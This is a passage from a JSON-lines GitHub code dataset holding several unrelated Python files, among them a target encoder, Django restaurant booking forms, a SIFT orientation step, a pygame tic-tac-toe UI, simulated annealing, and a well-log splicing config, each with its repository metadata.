one-hot-encoding my consum too much memory when the number of category is large.\n Additionnally, one-hot-encoding does not encode any specific information regarding the category unlike embeddings\n (Word2Vec for the most famous in NLP).\n \n The goal of target encoding is to use the target information to encode the categories. The value of the category will then\n be equal to the mean of response for this category. We have added a prior to the mean in order to account for low frequency\n of certain category. The prior account for 30 elements but can be changed by the user. The prior will consider the overall\n mean of the response.\n \nFrequency Encoding:\n The idea is similar to that of the target encoding. The frequency of the category is used instead of the response mean.\n \nInput:\n - any vector: it is assumed to be a categorical variable\n - the format needs to be numpy array\n \nOutputs:\n - one-hot-encoding: a numpy array containing c-1 columns where c represents the number of categories\n - target encoding or frequency encoding:\n - a continuous vector with the new categories embedding\n - a reference matrix to mappe the categories later (e.g., test data set)\n\"\"\"\n\n\n\n\"\"\"\nThe Class itself\n\"\"\"\nimport numpy as np\n\nclass CatTo:\n \n def OneHotEncoding(self, feature):\n cat = np.unique(feature) # list of the unique feature\n \n n = len(feature) # length of the vector\n one_hot = np.array([feature])\n\n for c in cat[1:]: # for all categories minus the first one!!\n \n one_hot_v = np.array([],dtype=int) # temporary array\n \n for i in range(0,n): # visit element of the array \n if feature[i] == c: # one hot creation\n one_hot_v = np.append(one_hot_v,1)\n else : one_hot_v = np.append(one_hot_v,0)\n \n one_hot = np.append(one_hot, [one_hot_v], axis = 0) # create one hot vector\n \n one_hot = np.transpose(one_hot)\n one_hot = one_hot[:,1:].astype(int)\n \n return one_hot\n \n \n \n def TargetEncoding(self, feature, y, prior = 30): # https://maxhalford.github.io/blog/target-encoding/\n cat = np.unique(feature)\n y_mean = y.mean()\n \n trg_enc = np.array(feature)\n \n cat_rec = np.array([[0,0]])\n \n for c in cat: \n sum_y = y[feature==c].sum() # class stat\n count_y = len(y[feature==c]) # class stat\n \n cat_val = (sum_y+prior*y_mean)/(count_y+prior) # encoding\n \n trg_enc[feature==c] = cat_val\n \n trg_enc = trg_enc.astype(float)\n \n cat_rec = np.concatenate((cat_rec, [[c,cat_val]]),0)\n \n cat_rec = cat_rec[1:,:]\n \n return trg_enc, cat_rec\n \n \n \n def FrequencyEncoding(self, feature, prior = 30): \n cat = np.unique(feature)\n \n n = len(feature)\n \n frq_enc = np.array(feature)\n \n cat_rec = np.array([[0,0]])\n \n for c in cat: \n\n count = len(feature[feature==c]) # class stat\n \n cat_val = (count + prior)/(n + prior) # encoding\n \n frq_enc[feature==c] = cat_val\n \n frq_enc = frq_enc.astype(float)\n \n cat_rec = np.concatenate((cat_rec, [[c,cat_val]]),0)\n \n cat_rec = cat_rec[1:,:]\n \n return frq_enc, cat_rec \n \n def Encode_by_mapping(self, feature, cat_mapping):\n enc = np.array(feature)\n \n for i in range(len(cat_mapping)):\n enc[feature==cat_mapping[i,0]] = cat_mapping[i,1]\n enc = enc.astype(float)\n \n return enc\n \n\n \n\"\"\"\nTest the class output\n\"\"\"\n \n# CatTo = CatTo()\n\n# test_OH = CatTo.OneHotEncoding(feature)\n# test_Trg, test2_Trg = CatTo.TargetEncoding(feature,y)\n# test_Frq, test2_Frq = CatTo.FrequencyEncoding(feature)\n\n# test = CatTo.Encode_by_mapping(feature, test2_Trg)\n\n#######\n# k-fold for tree and leave?\n# combine feature?\n","repo_name":"Maxime-Jo/RF-Python","sub_path":"CART_Tree/Transform_Categorical.py","file_name":"Transform_Categorical.py","file_ext":"py","file_size_in_byte":5177,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"15348666143","text":"\"\"\" File contains all of the inputs and validations for the\navailability and contact forms \"\"\"\nimport pytz\nfrom dateutil import parser\nfrom django import forms\nfrom django.forms import ModelForm\nfrom django.utils import timezone\nfrom django.core.exceptions import ValidationError\nfrom django.utils.translation import gettext_lazy as _\nfrom .models import Contact, Booking\n\n\nclass AvailabilityForm(ModelForm):\n \"\"\" Sets the inputs for the Availability form \"\"\"\n TABLE_LOCATION = (\n ('IN', 'INSIDE SEATING'),\n ('OUT', 'OUTSIDE SEATING')\n )\n\n table_location = forms.ChoiceField(\n choices=TABLE_LOCATION,\n required=True\n )\n\n first_name = forms.CharField(\n label='First Name',\n required=True,\n widget=forms.TextInput(attrs={'placeholder': 'First Name'}),\n )\n\n def clean_first_name(self):\n \"\"\" Contains validation requirements for the first name input \"\"\"\n data = self.cleaned_data['first_name']\n\n if not data.isalpha():\n raise ValidationError(_('Please only enter letters'))\n\n return data\n\n last_name = forms.CharField(\n label='Last Name',\n required=True,\n widget=forms.TextInput(attrs={'placeholder': 'Last Name'}),\n )\n\n def clean_last_name(self):\n \"\"\" Contains validation requirements for last name input \"\"\"\n data = self.cleaned_data['last_name']\n\n if not data.isalpha():\n raise ValidationError(_('Please only enter letters'))\n\n return data\n\n people = forms.IntegerField(\n label='Number of people',\n required=True,\n widget=forms.NumberInput({'placeholder': 'Number of people'})\n )\n\n def clean_people(self):\n \"\"\" Contains validation for the people input \"\"\"\n data = self.cleaned_data['people']\n\n # Check only one number input\n if data > 8:\n raise ValidationError(_('Invalid number of people /n'\n '- please enter a number between 1 and 8'))\n\n # Check user has not entered 0\n if data <= 0:\n raise ValidationError(_('Invalid number of people /n'\n '- please enter a number between 1 and 8'))\n\n # Return the cleaned data\n return data\n\n booking_date_time_start = forms.DateTimeField(\n required=True,\n input_formats=['%d/%m/%YT%H:%M', ],\n widget=forms.DateTimeInput(attrs={'type': 'datetime-local'})\n )\n\n def clean_booking_date_time_start(self):\n \"\"\" Contains the validation requirements for the booking start time \"\"\"\n data = self.cleaned_data['booking_date_time_start']\n now = timezone.now()\n\n # Check if a date is not in the past.\n if data < now:\n raise ValidationError(_('Invalid date/time - please \\n'\n 'select a date and time in the future.'))\n\n # check that end time is within opening times\n # get time from datetime obj\n time = data.time()\n # get hour from time\n start_hour = time.hour\n\n # raise validation error if hour is bigger than or equal to closing\n if start_hour < 10:\n raise ValidationError(_('Invalid start time- restaurant \\n'\n 'opens at 10:00.'))\n\n # Return the cleaned data.\n return data\n\n booking_date_time_end = forms.DateTimeField(\n required=True,\n input_formats=['%d/%m/%YT%H:%M', ],\n widget=forms.DateTimeInput(attrs={'type': 'datetime-local'})\n )\n\n def clean_booking_date_time_end(self):\n \"\"\" Contains the validation requirements for the booking end time \"\"\"\n data = self.cleaned_data['booking_date_time_end']\n now = timezone.now()\n start_time_input = self.data['booking_date_time_start']\n # convert to datetime obj\n start_time_ntz = parser.parse(start_time_input)\n # add timezone\n t_z = pytz.timezone(\"UTC\")\n start_time = t_z.localize(start_time_ntz)\n\n # Check if a date is not in the past.\n if data < now:\n raise ValidationError(_('Invalid date/time - please select a \\n'\n 'date and time in the future.'))\n\n # check that date time end is after date time start\n if data < start_time:\n raise ValidationError(_('Invalid date/time - please make sure \\n'\n 'that booking end time is after \\n'\n 'booking start time.'))\n\n # check that slot is not longer than 2 hours\n # find differentce between start time and end time\n time_diff = data - start_time\n # find time in seconds\n tsecs = time_diff.total_seconds()\n # multiply to convert time to hours\n thrs = tsecs/(60*60)\n\n # raise validation error is difference is greater than 2 hours\n if thrs > 2:\n raise ValidationError(_('Invalid end time- maximum slot \\n'\n 'time is 2 hours.'))\n\n if thrs < 1:\n raise ValidationError(_('Invalid end time- minimum slot \\n'\n 'time is 1 hour.'))\n\n # check that end time is within opening times\n # get time from datetime obj\n time = data.time()\n # get hour from time\n end_hour = time.hour\n\n # raise validation error if hour is bigger than or equal to closing\n if end_hour >= 23:\n raise ValidationError(_('Invalid end time- restaurant closes \\n'\n 'at 23:00.'))\n\n # Return the cleaned data.\n return data\n\n additional_info = forms.CharField(\n label='Additional Info',\n required=False,\n widget=forms.Textarea(attrs={'placeholder': 'Please enter \\n'\n 'any additional information (max \\n'\n '400 characters)', 'rows': 2})\n )\n\n class Meta:\n \"\"\" Specifies to use the booking model \"\"\"\n model = Booking\n fields = ('first_name', 'last_name', 'table_location',\n 'people', 'booking_date_time_start',\n 'booking_date_time_end', 'additional_info')\n\n\nclass ContactForm(ModelForm):\n \"\"\" Contains for the information for the contact form \"\"\"\n first_name = forms.CharField(\n label='First Name',\n required=True,\n widget=forms.TextInput(attrs={'placeholder': 'First Name'}),\n )\n\n def clean_first_name(self):\n \"\"\" Contains validation requirements for the first name input \"\"\"\n data = self.cleaned_data['first_name']\n\n if not data.isalpha():\n raise ValidationError(_('Please only enter letters'))\n\n return data\n\n last_name = forms.CharField(\n label='Last Name',\n required=True,\n widget=forms.TextInput(attrs={'placeholder': 'Last Name'}),\n )\n\n def clean_last_name(self):\n \"\"\" Contains validation requirements for last name input \"\"\"\n data = self.cleaned_data['last_name']\n\n if not data.isalpha():\n raise ValidationError(_('Please only enter letters'))\n\n return data\n\n contact_number = forms.IntegerField(\n label='Contact Number',\n required=True,\n widget=forms.NumberInput(attrs={'placeholder': 'Contact Number'}),\n )\n\n def clean_contact_number(self):\n \"\"\" Contains validation requirements for the contact number input \"\"\"\n data = self.cleaned_data['contact_number']\n\n # convert data to string and check length is phone number\n if not 11 >= len(str(data)) >= 12:\n raise ValidationError(_('Please enter a valid phone number'))\n\n return data\n\n email_address = forms.EmailField(\n label='Email Address',\n required=True,\n widget=forms.TextInput(attrs={'placeholder': 'Email Address'}),\n )\n\n message = forms.CharField(\n label='Message',\n required=True,\n widget=forms.Textarea(attrs={'placeholder': 'Please enter your \\n'\n 'message (max 400 characters)',\n 'rows': 3})\n )\n\n def clean_message(self):\n \"\"\" Contains validation information for the message input \"\"\"\n data = self.cleaned_data['message']\n\n # check to see that message isn't just spaces\n if data.isspace():\n raise ValidationError(_('Please enter a message'))\n\n if len(data) < 10:\n raise ValidationError(_('Minimum value 10 characters'))\n\n return data\n\n class Meta:\n \"\"\" Specifies to use contact model as a base \"\"\"\n model = Contact\n fields = ('first_name', 'last_name', 'email_address',\n 'contact_number', 'message')\n","repo_name":"ClDaly2904/restaurant-booking-system","sub_path":"restaurantbookings/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":8853,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"11565033023","text":"\"\"\"\nThird step of SIFT. Assigning orientation to keypoints.\n\"\"\"\n\nimport numpy as np\nfrom numpy import linalg as LA\n\nfrom SIFT.DoG_pyramid import gaussian_filter\n\n\ndef get_gradient(L, x, y):\n dy = L[min(L.shape[0] - 1, y + 1), x] - L[max(0, y - 1), x]\n dx = L[y, min(L.shape[1] - 1, x + 1)] - L[y, max(0, x - 1)]\n\n r = np.sqrt(dx ** 2 + dy ** 2)\n theta = (np.arctan2(dy, dx) + np.pi) * 180 / np.pi\n return r, theta\n\n\ndef fit_parabola(hist, bin_number, bin_width):\n centerval = bin_number * bin_width + bin_width / 2.\n\n if bin_number == len(hist) - 1:\n rightval = 360 + bin_width / 2.\n else:\n rightval = (bin_number + 1) * bin_width + bin_width / 2.\n\n if bin_number == 0:\n leftval = -bin_width / 2.\n else:\n leftval = (bin_number - 1) * bin_width + bin_width / 2.\n\n A = np.array([\n [centerval ** 2, centerval, 1],\n [rightval ** 2, rightval, 1],\n [leftval ** 2, leftval, 1]])\n b = np.array([\n hist[bin_number],\n hist[(bin_number + 1) % len(hist)],\n hist[(bin_number - 1) % len(hist)]])\n\n x = LA.lstsq(A, b, rcond=None)[0]\n if x[0] == 0: x[0] = 1e-6\n return -x[1] / (2 * x[0])\n\n\ndef assign_orientation(keypoints, octave, num_bins=36):\n new_keypoints = []\n bin_width = 360 // num_bins\n\n for keypoint in keypoints:\n cx, cy, s = int(keypoint[0]), int(keypoint[1]), int(keypoint[2])\n s = np.clip(s, 0, octave.shape[2] - 1)\n\n sigma = keypoint[2] * 1.5\n w = int(2 * np.ceil(sigma) + 1)\n kernel = gaussian_filter(sigma)\n\n L = octave[..., s]\n hist = np.zeros(num_bins, dtype=np.float32)\n\n for oy in range(-w, w + 1):\n for ox in range(-w, w + 1):\n x, y = cx + ox, cy + oy\n\n if x < 0 or x > octave.shape[1] - 1:\n continue\n elif y < 0 or y > octave.shape[0] - 1:\n continue\n\n m, theta = get_gradient(L, x, y)\n weight = kernel[oy + w, ox + w] * m\n\n bin = int(np.floor(theta) // (360 // num_bins))\n hist[bin] += weight\n\n max_bin = np.argmax(hist)\n new_keypoints.append([keypoint[0], keypoint[1], keypoint[2], fit_parabola(hist, max_bin, bin_width)])\n\n max_val = np.max(hist)\n for binno, val in enumerate(hist):\n if binno == max_bin: continue\n\n if .8 * max_val <= val:\n new_keypoints.append([keypoint[0], keypoint[1], keypoint[2], fit_parabola(hist, binno, bin_width)])\n\n return np.array(new_keypoints)\n","repo_name":"oxxford/feature_descriptors","sub_path":"SIFT/orientation.py","file_name":"orientation.py","file_ext":"py","file_size_in_byte":2585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"73454972749","text":"import pygame\n\nfirst_run = True\nSCREEN_CLR = (75, 75, 75)\nBLACK = (0, 0, 0)\nBLUE = (0, 0, 255)\nRED = (255, 0, 0)\nWHITE = (255, 255, 255)\n\n\ndef draw_main_menu(screen):\n screen.fill(WHITE)\n pygame.font.init()\n title_font = pygame.font.SysFont(\"Comic Sans MS\", 30)\n textsurface = title_font.render(\"Tic-Tac-Toe\", False, (0, 0, 0))\n screen.blit(textsurface, (70, 100))\n button_font = pygame.font.SysFont(\"Comic Sans MS\", 15)\n buttonsurface = button_font.render(\"Start\", False, (0, 0, 0))\n pygame.draw.rect(screen, SCREEN_CLR, (30, 250, 80, 40), 0)\n screen.blit(buttonsurface, (50, 260))\n pygame.draw.rect(screen, SCREEN_CLR, (150, 250, 80, 40), 0)\n buttonsurface2 = button_font.render(\"Optionen\", False, (0, 0, 0))\n screen.blit(buttonsurface2, (160, 260))\n\n\ndef draw_options(screen):\n screen.fill(WHITE)\n pygame.draw.rect(screen, SCREEN_CLR, (250, 250, 40, 40))\n button_font = pygame.font.SysFont(\"Comic Sans MS\", 30)\n button_surface = button_font.render(\"<-\", False, (0, 0, 0))\n screen.blit(button_surface, (260, 247))\n pygame.draw.rect(screen, SCREEN_CLR, (20, 30, 80, 40), 0)\n button_surface2 = button_font.render(\"KI\", False, (0, 0, 0))\n screen.blit(button_surface2, (39, 28))\n options = True\n return options\n\n\ndef draw_ki(screen, ki_choice):\n if ki_choice is 0:\n pygame.draw.circle(screen, BLUE, (50, 50), 45, 3)\n if ki_choice is 1:\n pygame.draw.circle(screen, BLUE, (150, 50), 50, 5)\n if ki_choice is 2:\n pygame.draw.circle(screen, BLUE, (250, 50), 50, 5)\n if ki_choice is 3:\n pygame.draw.circle(screen, BLUE, (50, 150), 50, 5)\n if ki_choice is 4:\n pygame.draw.circle(screen, BLUE, (150, 150), 50, 5)\n if ki_choice is 5:\n pygame.draw.circle(screen, BLUE, (250, 150), 50, 5)\n if ki_choice is 6:\n pygame.draw.circle(screen, BLUE, (50, 250), 50, 5)\n if ki_choice is 7:\n pygame.draw.circle(screen, BLUE, (150, 250), 50, 5)\n if ki_choice is 8:\n pygame.draw.circle(screen, BLUE, (250, 250), 50, 5)\n\n\ndef draw_game_field(screen):\n screen.fill(SCREEN_CLR)\n pygame.draw.line(screen, BLACK, (0, 100), (300, 100), 5)\n pygame.draw.line(screen, BLACK, (0, 200), (300, 200), 5)\n pygame.draw.line(screen, BLACK, (100, 0), (100, 300), 5)\n pygame.draw.line(screen, BLACK, (200, 0), (200, 300), 5)\n","repo_name":"ndamb/tictactoe","sub_path":"drawing_stuff.py","file_name":"drawing_stuff.py","file_ext":"py","file_size_in_byte":2353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"88519418","text":"import math\nimport random\nimport time\n\n\ndef get_function(x):\n return math.sin(math.pow(x, 2)/2)/math.log((x+4), 2)\n\n\ndef step_random_solution(x):\n step_sizes = [0.1, 0.01, -0.1, -0.01]\n size = random.sample(step_sizes, 1)[0]\n x_new = x + size\n return x_new, get_function(x_new)\n\n\ndef valid(a):\n return 0 <= a <= 10\n\n\ndef evaluate_p(x_new, x, temp):\n prob = math.pow(math.e, -(get_function(x) - get_function(x_new))/temp)\n #print('probability of accepting ', get_function(x_new), 'over current y which is ', get_function(x), ' is ', prob)\n pseudo_boltzmann = [True]*(int(prob*10000)) + [False]*(int((1-prob)*10000))\n accept_value = random.choice(pseudo_boltzmann)\n return accept_value\n\n\ndef cool(temperature, alpha):\n return alpha*temperature\n\n\ndef run_simulated_annealing(x_start, t_start, alpha):\n t = t_start\n x_current = x_start\n x_max = x_current\n y_current = get_function(x_current)\n y_max = get_function(x_current)\n #print('x-start', x_start, 'y-start : ', y_max)\n steps = 0\n while t > 0.00001:\n #print('T = ', t)\n rand_x, rand_y = step_random_solution(x_current)\n if valid(rand_x):\n #print('x: ', rand_x, 'y: ', rand_y)\n if rand_y > y_max:\n x_current = rand_x\n y_current = rand_y\n y_max = rand_y\n x_max = x_current\n #print('new max')\n if rand_y > y_current:\n x_current = rand_x\n y_current = rand_y\n #print('greater')\n else:\n if evaluate_p(rand_x, x_current, t):\n x_current = rand_x\n y_current = rand_y\n steps = steps + 1\n #print('less but accepted')\n #else:\n #print('less, not accepted')\n #else:\n #print('invalid x: ', rand_x, 'out of range')\n t = cool(t, alpha)\n\n return x_max, y_max, steps\n\n\ndef main():\n starting_temps = [100000]\n cooling_factors = [0.999]\n starting_points = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\n for point in starting_points:\n for temp in starting_temps:\n for factor in cooling_factors:\n t0 = time.time()\n x, y, steps = run_simulated_annealing(point, temp, factor)\n te = time.time()\n diff = te - t0\n print(temp, ',', factor, ',', y, ',', diff, ',', steps, ',')\n\nmain()","repo_name":"metchel/COMP424","sub_path":"Assignment1/Q3b-simulated_annealing.py","file_name":"Q3b-simulated_annealing.py","file_ext":"py","file_size_in_byte":2485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"27622918168","text":"from typing import List\nimport bisect\nfrom collections import Counter\n\n\nclass Solution:\n def numSmallerByFrequency(self, queries: List[str], words: List[str]) -> List[int]:\n\n wf = []\n for w in words:\n cnt = Counter(w)\n wf.append(cnt[min(w)])\n wf.sort()\n\n qf = []\n for q in queries:\n cnt = Counter(q)\n qf.append(cnt[min(q)])\n\n tot = 0\n res = []\n for v in qf:\n idx = bisect.bisect_right(wf, v)\n res.append(len(wf) - idx)\n return res\n\n\ns = Solution()\nprint(s.numSmallerByFrequency([\"bbb\", \"cc\"], [\"a\", \"aa\", \"aaa\", \"aaaa\"]))\n","repo_name":"srinathalla/python","sub_path":"algo/arrays/leet/medium/numSmallerByFreq.py","file_name":"numSmallerByFreq.py","file_ext":"py","file_size_in_byte":654,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"34234709437","text":"from ops import launch\n\n\ndef dist(planes, a, b):\n return abs(planes[a] - planes[b]) * 20\n\n\ndef find_letter(N, planes):\n if N <= 2: raise Exception()\n letter = None\n letter_save = None\n for i in range(1, N - 1):\n distance_saved = (dist(planes, i - 1, i) + dist(planes, i, i + 1)) - dist(planes, i - 1, i + 1)\n if letter is None or distance_saved > letter_save:\n letter = i\n letter_save = distance_saved\n return letter\n\n\ndef task(input, output):\n N = int(input.readline())\n planes = [int(x) for x in input.readline().split(' ')]\n assert N == len(planes)\n output.write(str(find_letter(N, planes)) + '\\n')\n\n\nlaunch(task, 'C-lehky.txt')\n# launch(task, None)\n","repo_name":"Kripner/Kasiopea","sub_path":"C/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":719,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"22046053297","text":"PROJECT_ID = \"aaet-geoscience-dev\"\r\n# The tmp folder is for lasio I/O purposes\r\nDATA_PATH = \"/home/airflow/gcs/data/tmp\"\r\n\r\n# Credential JSON key for accessing other projects\r\n# CREDENTIALS_JSON = \"gs://aaet_zexuan/flow/keys/composer_las_merge.json\"\r\nCREDENTIALS_JSON = \"keys/composer_las_merge.json\"\r\n\r\n# Bucket name for merged las files and spliced las files\r\nBUCKET_LAS_MERGE = \"las_merged\"\r\nBUCKET_LAS_SPLICE = \"us-central1-lithos-dev-94beb3d4-bucket\"\r\n\r\n# las_splice.py output to the composer data folder, as input of logqc\r\nCOMPOSER_FOLDER = \"data/logqc_landing\"\r\nTMP_FOLDER = \"data/tmp\"\r\n# for GCP web UI and Big Query Job Status Report\r\nBUCKET_JOB = \"log_splice_tool_jobs\"\r\nBIGQUERY_DATASET_ID = \"urc_jobs\"\r\nBIGQUERY_TABLE_ID = \"jobs\"\r\n\r\n# Workflow type\r\ntpt_workflow_type = \"tpt\"\r\nlogsplice_workflow_type = \"logsplice\"\r\nlogqc_workflow_type = \"logqc\"\r\ngeomech_workflow_type = \"geomech\"\r\n\r\n# Number of processors for las_merge_MP (multiprocessing).\r\nN_PROCESSORS = 16\r\n\r\n# The window size for moving average, e.g. 11 means the window covers a\r\n# point and 5 adjacent points on both sides\r\nMOVING_AVG_WINDOW_SIZE = 11\r\n\r\n# Default value for missing data, usually it is either -999.25 or -999.0\r\nMISSING = -999.0\r\n\r\n# COL_DICT: a dictionary of aliased curve names for log splicing. keys correspond to measurements\r\n# (e.g., 'density', 'gamma', 'resistivity', etc.),\r\n# and each value is a list of aliased column names that could potentially correspond\r\n# to those measurements. Each key is the aliased curve name before splicing,\r\n# each key's value is the standard curve name after splicing.\r\nCOL_DICT = {\r\n # Caliper\r\n \"cal\": [\"CAL\", \"CALI\", \"CALX\", \"HCAL\", \"TGS_CALX\", \"RAW_CALX\"],\r\n # Compressional Sonic Slowness\r\n \"dtc\": [\"DT\", \"DT24\", \"DTC\", 'TGS_DT', \"TGS_DTC\", \"RAW_DT\", \"RAW_DTC\"],\r\n # Deep Resistivity\r\n # 'rdeep' includes 'rdeep_ltrl' (laterolog), 'rdeep_indct' (induction), 'rdeep_unknown'.\r\n # A final 'rdeep' will be generated\r\n # with an additional 'rdeep_type' curve to denote the log type.\r\n \"rdeep\": ['ILT90', 'LLD', 'RDEEP', 'RES', 'RES_DEEP', 'AHT90', 'AT90', 'ILD', 'ILT90', 'LLD', 'ILO90', 'ILF90', 'LLMD'],\r\n # Density (Bulk)\r\n \"rhob\": [\"DEN\", \"RHOB\", \"RHOZ\", \"ZDEN\", \"ZDNC\", \"TGS_RHOB\", 'RAW_RHOB'],\r\n # Density (Correction)\r\n \"drho\": [\"DRHO\", \"HDRA\", \"ZCOR\"],\r\n # Gamma Ray\r\n \"gr\": [\"APC_GR_NRM\", \"GAMM\", \"GR\", \"GR_R\", \"GRR\", 'SGR', 'SGRR', 'CGR'],\r\n # Neutron Porosity\r\n \"nphil\": [\"CNCF\", \"NEU\", \"NPOR\", \"NPHI\", \"NPHIL\", \"TNPH\", 'TGS_NPHI', 'NPHI_LS', 'TNPH_LS', 'RAW_NPHI'],\r\n # Photoelectric effect\r\n \"pe\": [\"PE\", \"PEF\", \"PEFZ\", 'TGS_PE', 'RAW_PE'],\r\n}\r\n\r\n# LDD is laterolog\r\n# The rest are inductions\r\n# RDEEP, RES, RES_DEEP are of unknown origin\r\n# __log_type_rdeep = [log_type_enum.induction, #AHT90\r\n# log_type_enum.induction, #AT90\r\n# log_type_enum.induction, #ILD\r\n# log_type_enum.induction, #ILT90\r\n# log_type_enum.laterolog, #LLD\r\n# log_type_enum.induction, #M2R9\r\n# log_type_enum.unknown, #RDEEP\r\n# log_type_enum.unknown, #RES\r\n# log_type_enum.unknown] #RES_DEEP\r\n\r\nRDEEP_TYPE_LIST = [\"rdeep_ltrl\", \"rdeep_indct\", \"rdeep_unknown\"]\r\nRDEEP_TYPE_DICT = {\"rdeep_ltrl\": 1, \"rdeep_indct\": 2, \"rdeep_unknown\": 3}\r\n\r\n# curve description dictionary\r\nCURVE_DESC = {\r\n \"DEPT\": \"Depth\",\r\n \"CAL\": \"Caliper\",\r\n \"DRHO\": \"Density Correction\",\r\n \"DTC\": \"Compressional Wave Slowness\",\r\n \"DTS\": \"Shear Wave Slowness\",\r\n \"GR\": \"Gamma Ray\",\r\n \"NPHI\": \"Neutron Porosity\",\r\n \"NPHIL\": \"Neutron Porosity\",\r\n \"PE\": \"Photoelectric Effect\",\r\n \"RDEEP\": \"Deep Resistivity\",\r\n \"RDEEP_LTRL\": \"Laterolog Resistivity\",\r\n \"RDEEP_INDCT\": \"Induction Resistivity\",\r\n \"RDEEP_UNKNOWN\": \"Unknown Resistivity (Laterolog or Induction)\",\r\n \"RDEEP_TYPE\": \"RDEEP Type 1:Laterolog 2:Induction 3:Unknown\",\r\n \"RHOB\": \"Bulk Density\",\r\n \"RUGOSITY\": \"Borehole Rugosity\",\r\n \"RUGOSITY_BHF\": \"Rugosity Bad Hole Flag\",\r\n \"DRHO_BHF\": \"Density Correction Bad Hole Flag\",\r\n \"DTC_BHF\": \"Sonic Bad Hole Flag\",\r\n \"GR_BHF\": \"Gamma Ray Bad Hole Flag\",\r\n \"NPHIL_BHF\": \"Neutron Bad Hole Flag\",\r\n \"RHOB_BHF\": \"Density Bad Hole Flag\",\r\n \"LOG_RDEEP_BHF\": \"Resistivity Bad Hole Flag\",\r\n \"PE_BHF\": \"PE Bad Hole Flag\",\r\n \"RHOB_MCF\": \"Density Corrected from Multiwell Flag\",\r\n \"RHOB_SYN\": \"Density Estimation from Ensemble of Learners\",\r\n \"NPHI_MCF\": \"Neutron Corrected from Multiwell Flag\",\r\n \"NPHI_SYN\": \"Neutron Estimation from Ensemble of Learners\",\r\n \"DTC_MCF\": \"Sonic Corrected from Multiwell Flag\",\r\n \"DTC_SYN\": \"Sonic Estimation from Ensemble of Learners\",\r\n \"PE_MCF\": \"PE Corrected from Multiwell Flag\",\r\n \"PE_SYN\": \"PE Estimation from Ensemble of Learners\",\r\n \"RHOB_NCF\": \"Density No Correction Flag\",\r\n \"RHOB_CORR\": \"Density Corrected\",\r\n \"NPHI_NCF\": \"Neutron No Correction Flag\",\r\n \"NPHI_CORR\": \"Neutron Corrected\",\r\n \"DTC_NCF\": \"Sonic No Correction Flag\",\r\n \"DTC_CORR\": \"Sonic Corrected\",\r\n \"PE_NCF\": \"PE No Correction Flag\",\r\n \"PE_CORR\": \"PE Corrected\"\r\n}\r\n","repo_name":"dongzexuan/spark_demo","sub_path":"config/log_splice_config.py","file_name":"log_splice_config.py","file_ext":"py","file_size_in_byte":5193,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"19419814273","text":"#!/usr/bin/env python\n# -*- coding: utf-H -*-\n# @Time : 2020/1/12 下午11:10\n# @Author : alex\n# @File : BubbleSortCode.py\n# @Project : Algorithm\n# @Software : PyCharm\n\n# 在一个数组中，每一个数左边比当前数小的数累加起来，叫做这个数组的小和。\n\n\nimport copy\nimport random\n\n\ndef small_sum1(arr: list):\n return mergeSort(arr, 0, len(arr) - 1)\n\n\ndef mergeSort(arr: list, left: int, right: int):\n if left == right:\n return 0\n mid = left + ((right - left) >> 1)\n return mergeSort(arr, left, mid) + mergeSort(arr, mid + 1, right) + merge(arr, left, mid, right)\n\n\ndef merge(arr: list, left: int, mid: int, right: int):\n help_list = []\n p1, p2, res = left, mid + 1, 0\n\n while p1 <= mid and p2 <= right:\n if arr[p1] < arr[p2]:\n res += arr[p1] * (right - p2 + 1)\n help_list.append(arr[p1])\n p1 += 1\n else:\n help_list.append(arr[p2])\n p2 += 1\n\n while p1 <= mid:\n help_list.append(arr[p1])\n p1 += 1\n\n while p2 <= right:\n help_list.append(arr[p2])\n p2 += 1\n\n for j in range(len(help_list)):\n arr[left + j] = help_list[j]\n\n return res\n\n\ndef small_sum2(arr: list):\n res = 0\n for temp in range(1, len(arr)):\n for j in range(0, temp):\n res += arr[j] if arr[j] < arr[temp] else 0\n return res\n\n\ndef generate_random_test(max_size: int, max_value: int):\n result = []\n size = random.randint(0, max_size + 1)\n for i in range(size):\n result.append((int((max_value + 1) * random.random())) - int((max_value * random.random())))\n return result\n\n\nif __name__ == '__main__':\n test_num = 10\n max_size = 10\n max_value = 100\n flag = True\n\n for i in range(test_num):\n list1 = generate_random_test(max_size, max_value)\n list2 = copy.deepcopy(list1)\n list3 = copy.deepcopy(list1)\n res1 = small_sum1(list2)\n res2 = small_sum2(list3)\n if res1 != res2:\n flag = False\n print(list1)\n print(list2)\n print(list3)\n break\n\n print(\"Nice\" if flag else \"Fuck\")\n","repo_name":"koking0/Algorithm","sub_path":"算法与数据结构之美/Algorithm/Sort/MergeSort/小和问题/code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":2164,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"82"} +{"seq_id":"18742208574","text":"import json\nimport os\n\nimport common\nfrom tools.consolidated_reports import query_reports as query_reports\nfrom io import open\n\nDRC_BUCKET_PATH = query_reports.get_drc_bucket_path()\nDATASOURCES_PATH = 'curation_report/data/datasources.json'\n\n\ndef get_hpo_id(p):\n rel_path = p[len(DRC_BUCKET_PATH):]\n return rel_path[:rel_path.index('/')]\n\n\ndef get_report_path(p, hpo_id):\n return p.replace('datasources.json', hpo_id)\n\n\ndef get_submission_name(p):\n parts = p.split('/')\n for i in range(0, len(parts)):\n part = parts[i]\n if part == 'curation_report':\n return parts[i - 1]\n raise RuntimeError('Invalid submission path: %s' % p)\n\n\ndef transform_bq_list(uploads):\n \"\"\"\n Get paths to all most recent report files\n :param uploads: object representing loaded json data\n :return: a list of dictionaries which contains parsed data\n \"\"\"\n results = []\n for upload in uploads:\n dte, p = upload['upload_timestamp'], upload['file_path']\n hpo_id = get_hpo_id(p)\n report_path = p.replace('datasources.json', hpo_id)\n name = 